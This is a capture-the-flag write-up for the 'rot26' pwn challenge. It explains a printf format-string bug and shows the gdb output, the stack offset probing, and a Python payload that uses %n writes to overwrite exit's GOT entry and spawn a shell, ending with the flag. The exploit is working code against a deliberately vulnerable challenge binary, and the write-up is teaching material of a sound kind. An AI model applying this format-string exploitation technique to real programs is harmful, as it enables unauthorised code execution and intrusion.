In this pwn challenge with the following description:```nc chall2.2019.redpwn.net 4003```we were given a ELF and it's source code (look at rot26 and rot26.c):
Reading the source code it seems that the software does a rot26 encryption of a string passed via stdin, let's try it: 
```bash$ ./rot26asdasd```
Of course rot26 is a shift of 26 character, so nothing will change. Then there is a function that executes a system("/bin/sh") so this piece of code will drop us a shell:
```cvoid winners_room(void){        puts("Please, take a shell!");        system("/bin/sh");        exit(EXIT_SUCCESS);}```
This function, however, is never called so we must use some bugs to overwrite eip register and redirect code execution. Stack overflow though is not feasible because the read is made in a safe way:
```cchar buf[4096];...fgets(buf, sizeof(buf), stdin);```
In the end nothing seems to be wrong, except one particular:
```cchar sanitized[4096];...rot26(sanitized, buf, sizeof(sanitized));printf(sanitized);exit(EXIT_FAILURE);```
We are using printf to print a buffer without the use of a format string, this allow us to perform a format string exploit. Let's verify this bug:
```bash$ ./rot26%x %x %x %x %xffe39f9c 1000 8048791 0 0```
We have found the right path! Now we need only to find a way to redirect the code with the printf. It's important to notice that the only function called after the print statement is exit, we can overwrite the plt entry so whenever the program calls exit(), it calls our shell function!
Firstly we need the address to rewrite:
```$ gdb rot26gdb-peda$ x exit0x80484a0 <exit@plt>:	0xa02025ff```
Then we need the address of the shell function:
```gdb-peda$ x winners_room 0x8048737 <winners_room>:	0x53e58955```
Then we find the right offset of the first word of our input:
```./rot26 AAAA %x %x %x %x %x %x %x %x %x %xAAAA ffabde3c 1000 8048791 0 0 0 41414141 20782520 25207825 78252078```
So the offset is 7, now we decide to write the address in two steps, first we will write the lower part [0x8737], then the higher part [0x804], after some calculation the exploit string is built by:
```pythonshell = 0x8048737exitplt = 0x804a020
exploit = ''exploit += p32(exitplt) #set first address to write toexploit += p32(exitplt+2) #set second address to write toexploit += '%34607x' #print enough character to reach shell[4:]exploit += '%7$n' #write number of character printed in first addressexploit += '%32973x' #print enough character to reach shell[0:4]exploit += '%8$n' #write number of character printed in first address```
Executing it on the server will lead in a bunch of crap printed and at the end the shell:```bash./exploit...                                                    1000Please, take a shell!$ lsMakefilebindevflag.txtliblib32lib64rot26rot26.c$ cat flag.txtflag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?}```